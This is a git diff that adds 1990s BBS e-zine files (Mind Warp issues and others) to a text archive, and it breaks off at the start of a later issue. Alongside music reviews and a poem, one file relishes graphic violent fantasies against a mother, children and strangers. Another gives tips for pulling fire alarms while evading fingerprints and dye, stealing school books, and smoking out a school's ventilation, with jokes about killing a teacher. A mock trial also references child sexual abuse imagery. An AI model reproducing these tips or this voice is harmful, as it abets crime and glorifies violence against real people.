maybe being held | + | captive in a small town in fuji. where ever that is. we have j0hnie | + | t dr4w su0prspie on that mission, locating fuji. j0hnie sent his pic | + | for this issue however he hadn't the time to write an update discussing | | + | what he had done in his journey's but, he will next issue. altwon | + | fifteefyve was captured as reported last issue for some illegal actions. | + | however he's out and we gotten em back. good old maker of sense altown | + | fifteefyve, one of these days we'll get our interview. and one day | + | i'll finish "dumb ansi.sys" | + |__________________________________________________________________________| + """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" + /' \ [j0hnie t dr4w] + / \ +,/ \ \ + \ + \ /|// + \ /|\ 0 | + ||| |--) <-- j0hnie t dr4w + "\ \\ | * undercover as a + \| | | person a nude beach + || | | reading a book * + /\ /\ //_))_|(in search of MINDCRIME) + | |---| |_ <--- sandcastle / /||| | + | |---| | | __|_| ||| | +------------------------------------------------------------------------------ + ---------------------------------------------------------------------------- + """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" + | article by: j0hnie t dr4w | + | title: my letter home, while undercover. | + | contents: | + | dear boss, | + | | | + | here are some picstures for the issue. i couldn't get to a full article | + | someone has told me MINDCRIME, hates beaches so i am heading for the | + | road again, onward to fuji! | + | love, | + | j0hnie | + |__________________________________________________________________________| + """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" + [altwon fifteefyve] + + /// (kawt 0n k4ndid kamer4 sm4sh1ng c0urts ev1d3nc3!#) + ›› ) +hammer --> cì. `_/""\ + U,/\/ | || + \_| |_|| + |__/\\| + | / | + | | | + _| | | + (___|__| + ---------------------------------------------------------------------------- + """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" + | article by: altwon fifteefyve | + | title: duh big trial. | + | contents: | + | | + | (transcripts) | + | judge: did you do this mister fifteefyve? | + | altwon: the sky is mostly blue, your honor. | + | judge: did you commit the crimes at hand? | + | altwon: the clouds are white and when it rains they're grey or dirty | + | white looking. rains comes down from the sky. | + | judge: ok. DID YOU SEND AGENT ALMEN A PICTURE OF A FIVE YEAR OLD | + | BEING SCREWED ANALLY BY A RHINO? -- DID YOU!? | + | altwon: it hits me on the noodle and wents my hair. i like to hold my | + | hammer. when my hair is wet i sniffle a lot. | + | judge: mister fifteefyve! did you commit the crimes against you!#? | + | altwon: again, the sky is mostly blue. | + | judge: i will ask you once again and for the final time, did you commit | + | the crimes at hand, ANSWER OR YOU'LL BE HELD IN CONTEMPT. | + | altwon: i have nothing but contempt for your court. i am a hacker, | + | and this is my manifesto. you can stop this indivual but you | + | can't stop us all... after all, we're all alike. | + | | + |__________________________________________________________________________| + """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" +ÛÛÛÛÛÛÛ» ÛÛÛÛÛÛ» ÛÛÛÛÛÛÛ» ÛÛÛÛÛÛ» ÛÛ» ÛÛÛÛÛ» ÛÛ» +ÛÛÉÍÍÍͼ ÛÛÉÍÍÛÛ» ÛÛÉÍÍÍͼ ÛÛÉÍÍÍͼ ÛÛº ÛÛÉÍÍÛÛ» ÛÛº +ÛÛÛÛÛÛÛ» ÛÛÛÛÛÛɼ ÛÛÛÛÛ» ÛÛº ÛÛº ÛÛÛÛÛÛÛº ÛÛº +ÈÍÍÍÍÛÛº ÛÛÉÍÍͼ ÛÛÉÍͼ ÛÛº ÛÛº ÛÛÉÍÍÛÛº ÛÛº +ÛÛÛÛÛÛÛº ÛÛº ÛÛÛÛÛÛÛ» ÈÛÛÛÛÛÛ» ÛÛº ÛÛº ÛÛº ÛÛÛÛÛÛÛ» +ÈÍÍÍÍÍͼ Èͼ ÈÍÍÍÍÍͼ ÈÍÍÍÍͼ Èͼ Èͼ Èͼ ÈÍÍÍÍÍͼ +ÛÛÛÛÛÛ» ÛÛÛÛÛÛÛ» ÛÛÛÛÛÛ» ÛÛÛÛÛÛ» ÛÛÛÛÛÛ» ÛÛÛÛÛÛÛÛ» +ÛÛÉÍÍÛÛ» ÛÛÉÍÍÍͼ ÛÛÉÍÍÛÛ» ÛÛÉÍÍÍÛÛ» ÛÛÉÍÍÛÛ» ÈÍÍÛÛÉÍͼ +ÛÛÛÛÛÛɼ ÛÛÛÛÛ» ÛÛÛÛÛÛɼ ÛÛº ÛÛº ÛÛÛÛÛÛɼ ÛÛº +ÛÛÉÍÍÛÛ» ÛÛÉÍͼ ÛÛÉÍÍͼ ÛÛº ÛÛº ÛÛÉÍÍÛÛ» ÛÛº +ÛÛº ÛÛº ÛÛÛÛÛÛÛ» ÛÛº ÈÛÛÛÛÛÛɼ ÛÛº ÛÛº ÛÛº ÛÛ» +Èͼ Èͼ ÈÍÍÍÍÍͼ Èͼ ÈÍÍÍÍͼ Èͼ Èͼ Èͼ Èͼ + ---------------------------------------------------------------------------- + """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" + | From mike@exit109.comMon Jul 8 15:49:24 1996 | + | Date: Mon, 8 Jul 1996 04:14:47 -0400 (EDT) | + | From: Michael Melli | + | To: su0p@mcfanclub.org | + | Subject: www.fuji.com | + | | + | | + | Hello, | + | | + | We are from the Fuji Mountian Answering Service, and we wish to inform | + | you that Mindcrime is not available right now. He is sunning himself on | + | the snowy peaks. We'll leave a message. | + | | + | FMAS | + |__________________________________________________________________________| + """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" + diff --git a/textfiles.com/magazines/MINDFLOW.1 b/textfiles.com/magazines/MINDFLOW.1 new file mode 100644 index 00000000..51efb008 --- /dev/null +++ b/textfiles.com/magazines/MINDFLOW.1 @@ -0,0 +1,20 @@ + +T E X T F I L E S + +

+MindFlow (1994) +

+

+ + +
+
Filename +Size +Description of the Textfile
mf001.txt 20337
 Mindflow Issue #1 by Josh Ruihley (May 25th, 1994) +
mf002.txt 20280
 Mindflow Issue #2 by Josh Ruihley (June 20th, 1994) +
mf003.txt 23721
 Mindflow Issue #3 by Josh Ruihley (July 8th, 1994) +
mf005.txt 18702
 Mindflow Issue #5 by Josh Ruihley (September 12, 1994) +

There are 4 files for a total of 83,040 bytes.

+ + + diff --git a/textfiles.com/magazines/MINDFLOW/.windex.html b/textfiles.com/magazines/MINDFLOW/.windex.html new file mode 100644 index 00000000..2748624e --- /dev/null +++ b/textfiles.com/magazines/MINDFLOW/.windex.html @@ -0,0 +1,20 @@ + +T E X T F I L E S + +

+MindFlow (1994) +

+

+ + +
+
Filename +Size +Description of the Textfile
mf001.txt 20337
 Mindflow Issue #1 by Josh Ruihley (May 25th, 1994) +
mf002.txt 20280
 Mindflow Issue #2 by Josh Ruihley (June 20th, 1994) +
mf003.txt 23721
 Mindflow Issue #3 by Josh Ruihley (July 8th, 1994) +
mf005.txt 18702
 Mindflow Issue #5 by Josh Ruihley (September 12, 1994) +

There are 4 files for a total of 83,040 bytes.

There are 94 files for a total of 525,055 bytes.
\ No newline at end of file diff --git a/textfiles.com/magazines/MINDWARP/mw-000.txt b/textfiles.com/magazines/MINDWARP/mw-000.txt new file mode 100644 index 00000000..79e49819 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-000.txt @@ -0,0 +1,50 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #0, Issue #0, File #000 ] + [ "Introduction to MW" by Raven ] + +------------------------------------------------------------------------------ + + Introduction to Mind Warp + [Raven/EoS] + April-June 1994 + + + Welcome to Mind Warp! Mind Warp is a Digital 'Zine', that is +bascially something I created out of boredom, and for the purpose of having +a place where I could ramble about generally nothing. Mind Warp is an open +magazine, and we're looking for any contributing writers or whatever. If you +have a poem that you'd like in here, whether it be 2 lines or 2000 lines, +submit it. If you have a story, whether it be fiction, fact, or whatever, +submit it! Most likely, anything you submit won't be rejected. + + I've gotten this idea from a variety of places, but the main ones +were from cDc(Cult of the Dead Cow), and even more from uXu (Underground +eXperts United). I have enjoyed both magazines, and am continuing to enjoy +them. + + To contribute a file, send submissions to 'dmaez@cap.gwu.edu', or +call Arsonist's Arsenal BBS at (301) 208-0847, and either upload your work, +or e-mail it to the SysOp. Any questions or comments about the magazine can +be sent to the above 2 addresses as well as to 1@3111 on IceNET (a national +WWIV based network). + Also, please send any questions or comments to the above addresses, +we'd be very happy to hear from anyone who actually reads these. + + Thanks for reading, and please, enjoy... + + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-001.txt b/textfiles.com/magazines/MINDWARP/mw-001.txt new file mode 100644 index 00000000..9c6f8e87 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-001.txt @@ -0,0 +1,91 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #0, Issue #1, File #001 ] + [ "Disturbing Thoughts" by Raven ] + +------------------------------------------------------------------------------ + + Disturbing Thoughts + [Raven/EoS] + + I think too much. (well, some of my High School teachers will argue +that statement, but screw them) I find myself scared by some of the things +that I laugh at inside, and by some of the things that I'd LOVE to do. +Unfortunately, I'm not as cool and fucked up in the head as some other +computer-writers are, to actually claim to do these things, I just think +about 'em... + +The Good Son: This was a stupid film about a little kid who like killed + people. But there was one scene in the film, where the kid was + holding another kid by the arm, on a tree house at about a 50ft + height, and the kid said, "If I let you go, You think you could + fly?" I cracked up when I heard that, I thought it was the most + hilarious thing I had ever heard, And I had a sudden urge to go + abduct small children, and hang them off of a bridge, and tell + them that line, and then laugh an incredibly maniacal laugh, then + pull them up, and let em run home crying, hoping that they'd then + be mentally screwed for the rest of their existance. + +Escalators: As my fellow EoS members know, when walking down stairs, or riding + down an escalator, I like to imagine kicking the person in front + of me, square in the back of their head, and watching their body + tumble down, head first, the rest of the elevator. The only thing + that prevents me from doing this, is the fear that the person + behind me is thinking the same exact thing, and then I start to + hold on to the railing tighter. + +Suicide: Heh, Kinda like the "Jeremy" video by (blegh) Pearl Jam. Where at + the end, Jeremy pulls out a gun and shoots himself. That's the + best way to kill yourself, not only are you ending your life, but + hopefully, when you've splattered your brains upon your class- + mates, it screws them up, and they'll continue to seek psycholog- + ical help twenty years later. + +My Parents: The fact that sometimes I can actually relate with my parents. + +Movies Theatres: When I go to the movies, and some 7ft tall schmuck sits down + in front of me, I feel like pulling out my lighter, and roasting + his head, and then sitting back and laughing as the guy runs + around screaming, with a big flaming head.. haha.. + +Public Restrooms: While I'm standing at a urinal, and noone else is around, I + glance downwards, by the stall doors, and if there is someone in + there, with their pants obviously pulled down to their ankles, I + have to keep myself from going and getting a big handful of those + nasty brown paper towel things, roll them up into a kind of ball, + and light it, and just as the thing is almost egulfed enough in + flames to burn my hand, throw it over the stall door, into the + guy's lap, or into his pulled-down pants. haugh.. + +Annoying Kid: While I was walking thru the mall, a little whiney, bratty 4 + year old kid, was crying to his mother, and yelling and carrying + on about god knows what, and the mother didn't do anything, she + just ignored him, while the rest of the mall cringed at the sound + of the little pest. I figured out, that I could shut the little + shit up by grabbing the mom by her hair, slamming her fucking head + into the wall as hard as I possibly could, and then, still with a + good grip on her, jam her face (preferably the eye region) into a + nearby water fountain (the faucet part, that sticks up), hopefully + causing the faucet to go into her eye, and back into her brain, + and then, turn her head over, pull out her semi-squashed eye-ball, + walk over to the brat, and stick it in his mouth. But to be sure + he stayed quiet, I'd pick him up by his chin (so to cause a + helluva lot of pain, and to make sure that he couldn't spit out + his mom's eyeball), and throw him as far as possible. heh. + + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== + \ No newline at end of file diff --git a/textfiles.com/magazines/MINDWARP/mw-002.txt b/textfiles.com/magazines/MINDWARP/mw-002.txt new file mode 100644 index 00000000..b5ec2335 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-002.txt @@ -0,0 +1,58 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #0, Issue #2, File #002 ] + [ "Untitled Poem" by Mustaine ] + +------------------------------------------------------------------------------ + + Untitled Poem + [Mustaine/Influenza] + + + This was originally posted on Friday March 11, 10:31pm 1994 on the +"C-I-L-L My Landlord: Poetry Sub" on Arsonist's Arsenal (301)-208-0847. At +the time I had just been informed that I would NOT be going to my senior prom +with the date I had originally selected. It turned out that XXXXXXX had done +poorly on her third semester report card, and her parents had frowned on her +spending time getting ready for a huge dance. I was massively depressed, +(and feeling slightly vindictive) so I wrote this untitled poem featured +below. It really did not stay on topic with the events that had happened, +however I just had the craving to write so out it came. Enjoy. + + + (uNTiTLeD...) + + And then the sea fell, + and the sky rose... + My heart was ladden + With grief and woes. + + For if not love, + then must it be hate? + Why not her love today? + Except fate... + + SO bring on the morning day, + and let the sun freeze, + Let the world slowly decay, + For in the end, she'll still hate ya d00d. + + + MuSTaiNe / iNFLueNZa iNC. + + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== + \ No newline at end of file diff --git a/textfiles.com/magazines/MINDWARP/mw-003.txt b/textfiles.com/magazines/MINDWARP/mw-003.txt new file mode 100644 index 00000000..1ce0ccc1 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-003.txt @@ -0,0 +1,118 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #0, Issue #3, File #003 ] + [ "School Phun #1" by Raven ] + +------------------------------------------------------------------------------ + + Lame School 'Phun' + [Raven/EoS] + + Another list of stupid things to do at school, there must be at least +a hundred different text files that cover the topic. A special thanx to +PlasticMan for the idea of #2, Hershey Kisses for #7, and to Big Bernie for +the ideas for #1 and #9... + +1. If you witness a fight, run + into the crowd and yell at the top of your lungs "GUN!". it's great to + see the people run.. usually even the people in the fight will take off. + +2. If you happen to come across someone who's recently been dropping acid + tell him + something pleasant like "Aw, d00d, there're ants crawling all over you!!" + or "Ahhhhhhhh!!! the room is filling up with snakes!!!" or anything + that will scare the hell out of someone who can't reason and will believe + everything that you happen to tell them. + +3. Go to your local supermarket, and buy a pad-lock and some ground beef . Now, goto school on a + friday or the day be for a holiday, and find an unused locker, throw the + meat in it, and put the padlock on it. By next Monday there'll be a quite unpleasant smell, that will be sure + to disrupt the school, and hopefully get you out of class (if it doesn't, + then your friends will hate you). + +4. Simple, but effective: Pull a fire alarm. But please, use enough sense + to wear a glove or use a stick, or something, so #1 you don't leave + finger prints, and #2 all fire alarms nowadays have a dye that comes out + of the alarm when you pull it, thus marking the person who did pull it. + +5. For those really religious, christian teachers : + When it comes time to hand in your homework, hand in a sheet of paper + that is nothing but pentagrams, "satan loves you" written backwords, + lot's of 666's, and some broken crosses and anything satanic you can + think of. + +6. If you have a teacher who is constantly late, when you're in the class + room, and the teacher isn't, go press the intercom pager button, thingy, + and wait for the secratary to respond, then, when she does, have a girl + in your class scream "SECURITY!!!" and you can get a security guard sent + to your class, if you time it right, then you can get the teacher and + the security guard to come into the room at the same time. Do this daily + then do it on and off, like do it 2 days, then don't do it, do another + day, then don't do it, make an irregular pattern, then, after a while of + this, when they actually stop responding to these calls, just go and + kill your teacher one day, it won't matter how loud she screams for + security! hahahaha! + +7. Near the beginning of a new semester, when you get into a new class, and + the teacher is assigning new books to each student, there are usually + a lot of extra books lying on her desk, when she isn't looking, steal as + many as you can fit into your bag. Then take the books to a local used + book store. They'll buy em back for $10-$20 a piece. + +8. Become great friends with all the school faculty, especially security + guards and janitors. #1: Janitors are just plain cool, #2: if you become + friends with the security guards, and you get into a fight with someone, + they can help you in one of two ways: if you're kickin the kid's ass, + they'll take their time getting over to the fight, and let you kick his + ass a little longer, or, if you're getting your ass kicked, they'll run + over, and maybe pound on him a little for you. + +9. If your school is currently offering free condoms, go get a couple, + and unroll them. Then get a big ass loogie in your mouth, and spit it + into the condom. Find a busy hallway, or even better, a crowded lunch + table, and fling the condom in. It'll take about 2 seconds for someone + to realize what it is, but when they do, you can believe the area will + be empty in another 2 seconds. Loogies and cum are very hard to tell + apart from each other when you're glancing at it for a second. + +10. If you know someone who has openly declared themselves as a 'homophobe', + stalk them, and when they go into the bathroom, get a bunch of your + friends together, and go into the bathroom behind him. Go to the urinal + next to his, while a friend goes to the one on the other side, and have + the rest of your friends kind of create a semi-circle around the dude. + then while he's peeing, both you and your friend, will both blatanly + start staring at his penis, with a wide grin on your face, while the + others all stare at him with the same big grin, when he turns around to + run, he'll be greeted by a bunch of other smiling faces. hahahaha that'll + scare the shit outta the little ignorant mofo. + +11. Turn your school's air conditioning into the world's biggest bong. Buy + as much pot as you can afford, I mean a LOT of pot, and go to the boiler + room of your school. Most schools have centralized A/C, so look for one + of the major A/C ventilation ducts. Find something that can hold the + burning pot, but will let still the smoke out of it and let it burn + properly (it should be big, cuz you shoulda gotten enough pot. If you're + a poor mofo, then go steal some, or kill a dealer or something.) Now, + set the container with the pot in it, in the air duct, now, light it up, + and when the fire alarms go off, and everyone leaves the building, just + have all your friends stay in the bathroom or something, and get real + close to the A/C... + + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-004.txt b/textfiles.com/magazines/MINDWARP/mw-004.txt new file mode 100644 index 00000000..f18b51d6 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-004.txt @@ -0,0 +1,103 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #0, Issue #4, File #004 ] + [ "Music Review: #1" by Mustaine ] + +------------------------------------------------------------------------------ + + MuSTaiNe's MuSiC ReVieW #1 + [Mustaine/INFLUENZA] + + Well, by my watch it is now 06/16/94, and I figure I'd better start my +first music review for Raven... so here we go. I put together a real dinky +system to make all you people happy...I know you hate reading boring para- +graphs that have absolutely no value whatsoever. So check out the little +chart below, and read on for my music review. Enjoy, and remember, I never +said any of this stuff was current. In fact, this one will be full of some +old goodies. + + MuSTaiNe's MuSiC SCaLe + + 0) SuCKS!!! ÞÞÞ Get the picture? ÞÞÞ + 1) BiTeS!!! + 2) eWW!!! + 3) CRaP!!! + 4) BLaH, BLaH... + 5) NoT HaLF BaD, BuT CRaP.. + 6) GeTTiN' THeRe!!! + 7) KeWL..SoRTa + 8) Yo! I CaN DiG THiS SH*T. + 9) Woo! PLaY SoMe MoRe... + 10) F*CKiNG iNCReDiBLe!!! + + +BaND #1 : +Name : STaBBiNG WeSTWaRD +Members : David Suycott (DRuMS,PeRCuSSioN) + Jim Sellers (BaSS) + Walter Flakus (KeYBoaRDS) + Christopher Hall (VoCaLS, KeYBoaRDS) + Stuart Zechman (GuiTaRS, BaSS) +Album : uNGoD +Info. : These guys are like an industrial / metal band that totally rip! + I first heard them when Raven stuck a CD in my car, and loved em + ever since. My favorite songs by them are : Control, Lies, and + Violent Mood Swings. The rest of the CD is pretty awesome too. + Anyways, this one gets a 10+, and if anyone had checked them out + and disagrees...well, you suck monkey dick and if you are on AA, + I will PERSONALLY kill your access. As far as metal industrial + goes, this band is gonna rock in the future. They have that + college grundge sound, with that cutting edge metal and keyboard + jazz thrown in. + +BaND #2 : +Name : PRoNG +Members : Are you kidding? They suck SO bad that their names aren't even + printed on the damn CD of their most recent release, Cleansing. +Album : Duh....Like read above. +Info. : CRAP! 0, 0, and MORE 0. These guys might have been kewl once, + but I was never around for that. I heard their song, Snap Your + Fingers, Snap your Neck, and I swear, it was like Pantera with + a different name. The song was pretty neat, for death metal crap, + but the whole tape sounds the same. It's not like Pantera or + Selpultura(sp?) that occasionaly throw in a ballad here and there. + IT's crap. The only songs on this album that one would possibly + might want to listen to would be track's 3, and 5, those being + Snap your fingers...and Broken Peace. Don't buy this tape. It + sucks. I hate it. I could have spent 11 dollars on something + much more interesting....like a dozen or so pop tarts. + +BaND #3 : +Name : DReaM THeaTeR +Members : James LaBrie (LeaD aND BaCKGRouND VoCaLS) + Kevin Moore (KeYBoaRDS) + John Myung (BaSS) + John Pettrucci (GuiTaRS) + Mike Portnoy (DRuMS aND PeRCuSSioN) +Album : Images and Words +Info : 10. Period. They rule. Techno Metal at it's finest. You have + your hard core metal-techno stuff on tracks 1,3,5,6, and 8. The + other tracks are awesome ballads. Hit songs include Pull Me Under, + Take The Time, and Learning To Live. Buy their CD. I did. + + + Well that's it for this zine. Next time I'll do another 3-4 bands. And +if you bozos haven't figured it out yet...NO they're not all current releases. +See ya next time. + MuSTaiNe / iNFLueNZa iNC. + + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-005.txt b/textfiles.com/magazines/MINDWARP/mw-005.txt new file mode 100644 index 00000000..231710b6 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-005.txt @@ -0,0 +1,65 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #0, Issue #5, File #005 ] + [ "Technology..." by Raven ] + +------------------------------------------------------------------------------ + + Technology: The Man, The Myth, The Hacker + [Raven/EoS] + + Some say that Technology is simply a legend, a myth; others say he's +real; and still others say he's a schmuck; and most people just say 'huh?'. +Whatever you happen to believe about him, this is the story of a day in the +life of Technology: The Master Hacker, as told to me by my second cousin, who +heard it from his roommate, who heard it from his girlfriend, who heard it +from her sister-in-law, who heard it from her dry cleaner, who heard it from +his nephew, who heard it from a talking iguana while dropping acid in Mexico. + Technology, whose real name is unknown due to his eliteness, was a +Korean-American teenager, who lived in New Orleans and was a member of the +infamous computer hacking group 'The Side Effects.' Technology was the man; +he could hack into anything. He DID hack into anything. He would go up to a +payphone and punch in his c0deZ, and then callout. He didn't need a computer +to connect to another modem, he would call it up, and connect to it by +whistling into the phone. It's actually quite amazing to see a man at a pay- +phone, whistling a modem connect tone. Tech could get up to 28.8k baud, and +38.4k baud if he was faxing something. Sometimes, he would call up one of +his favorite local BBSes, and whistle in the commands to download one of +those naughty adult .GIF's. He could use the zmodem protocol, and translate +everything in his head, and decompress the picture, and assemble it in his +mind. You could tell when he was doing this, cuz he'd have this big smile on +his face as he was whistling on the payphone. + Well, one day while Tech was whistling to his favorite bbs, and +scanning the message bases, he came upon a message that said that he was "a +loser with way too much time on (his) hands..." This angered Tech a whole +lot, so Tech decided he was going to "mess this kid up." Tech then got the +kid's info (real name, phone number, address, credit card numbers, etc.). +First, Tech called up his boyz in The Side Effects, and had the kid's phone +line, electricity, water, and cable tv turned off at 12 o'clock that night. +So, before the utilities were turned off, Tech called up some more of his +boyz and got some 'X-tra special c0dez' and using these c0dez, Tech made the +kid's toilets overflow, he made his Sony Discman eat up and melt his CD's, and +then he made his toaster not leggo of his eggo. Finally, Tech had 2 truck +loads of fertilizer delivered to the kid's driveway. And he did it all from +the payphone across the street. + Technology then went home after a long, hard days work, and laid down +for bed. Tech was comforted by the fact that the kid would not be sleeping +peacefully for a while. + And that is the story of Technology the Master Hacker. The moral to +this story is to never fuck with those who possess the 'c0deZ' unless yours +are better. + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-006.txt b/textfiles.com/magazines/MINDWARP/mw-006.txt new file mode 100644 index 00000000..d4e0539b --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-006.txt @@ -0,0 +1,109 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #0, Issue #6, File #006 ] + [ "Music Review: #2" by Mustaine ] + +------------------------------------------------------------------------------ + MuSTaiNe's MuSiC ReVieW #2 + [Mustaine/INFLUENZA] + + Guess what folks??? It's already time for another fine music review by +yours truly. Raven apparently didn't mind my last cutting commentary on +some pretty crappy bands, so in this review I promise to bust on more sucky +bands. Woo! At any rate, following my usual brief and meaningless commen- +tary is my music scale, which I base on my own personal (and perfect) +standards. Got a problem with it? Too bad. Cause if you hate it, then you +suck. Everyone knows I am always right. Enjoy. + + MuSTaiNe's MuSiC SCaLe (*ReViSeD oN 06/18/94*) + + -3000) MuST Be BY PaNTeRa.... + -5) aNYTHiNG BY VaNiLLa iCe... + 0) SuCKS!!! ÞÞÞ Get the picture? ÞÞÞ + 1) BiTeS!!! + 2) eWW!!! + 3) CRaP!!! + 4) BLaH, BLaH... + 5) NoT HaLF BaD, BuT CRaP.. + 6) GeTTiN' THeRe!!! + 7) KeWL..SoRTa + 8) Yo! I CaN DiG THiS SH*T. + 9) Woo! PLaY SoMe MoRe... + 10) F*CKiNG iNCReDiBLe!!! + + +BaND #1 : +Name : PaNTeRa +Members : Philip Anselmo (VoCaLS) + Dimebag Darell (GuiTaRS) + Vinne Paul (DRuMS) + ReX (BaSS) +Album : FaR BeYoND DRiVeN +Info. : Before I comment on this crappy little album, let me take a moment + to explain just how much this band sucks. And they DO suck. First + off, the vocalist, Mr.Scream-at-the-top-of-his-lungs-couldn't-sing- + if-he-tried-cockroach-lookin'-no-hair-havin'-moron-with-tattoo's- + just-so-he-can-figure-out-which-arm-is-left-and-which-arm-is-right + sucks. I mean he really sucks. He must have a really small dick + too. Has anyone ever read the lyrics? They're all about sex, and + why the lead singer never gets any because of his ugly ass looks. + Then the next few songs are about his pussy-ass attempts at revenge + on the bitch that wouldn't suck his dick. Then he tries to sing + about how he could kick everyone's ass. Please Mr. Anselmo, you + suck. You look stupid, you sing bad, and your fans are those + escaped convicts from the hick-homes in Omaha. Get a fucking life. + Next we have the drummer. This guy has had WAY too many Twinkies. + He has so many chins you can't tell where is face ends and where + his whale sized stomach begins. And he sucks for a drummer too. + He just bangs real hard in a beat that any four year old could do. + These people have NO talent. They can't sing. They can't play + music. Probably the ONLY reason they are popular is because + Ricky Rackman(or however the hell you spell his name) said he liked + them on MTV one night which is at 1 in the morning when most people + are stoned and/or tripping off their asses. + At any rate, I should tell you about the album. There is ONE good + song on this album. And Pantera didn't write it. They STOLE it + from Black Sabbath...who isn't even that hot. It's called Planet + Caravan and it's a small ballad. Other than that, this CD makes a + really good....frisbee? So by my scale, this band gets a negative + .....3000? + +BaND #2 : LeTS BuST on PaNTeRa some more... +Name : Gee dipwad...I wonder. +Album : VuLGaR DiSPLaY oF PoWeR +Members : Philip Anselmo (VoCaLS) + Dimebag Darell (GuiTaRS) + Vinne Paul (DRuMS) + ReX (BaSS) +Info. : This one had a decent song on it. It was called Hollow and was + about drug abuse and how bad it is. Maybe the lead singer was + sober for a minute or something...I dunno. Other than that, + the singing still....SUCKED. The playing still....SUCKED. The + obvious insecurity about a small dick from the lyrics of the + lead singer....STILL WAS THERE. In other words, this one still + is a good canidate for a frisbee. My rating? -3000. + + + Well that's it for this review. I obviously lied last time when I said +I'd do three to four bands in this issue. Deal with it. Although most of +you probably agree...their's only so much Pantera that one should bother +writing about. SO until next time, I think you have an idea of what two +albums NOT to buy. I think I'll talk about 12 Guage in the next review. +Until then, keep your fingers out of your nose, and use a condom. Hell, I +do. + MuSTaiNe / iNFLueNZa iNC. + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-007.txt b/textfiles.com/magazines/MINDWARP/mw-007.txt new file mode 100644 index 00000000..49f79a91 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-007.txt @@ -0,0 +1,76 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ 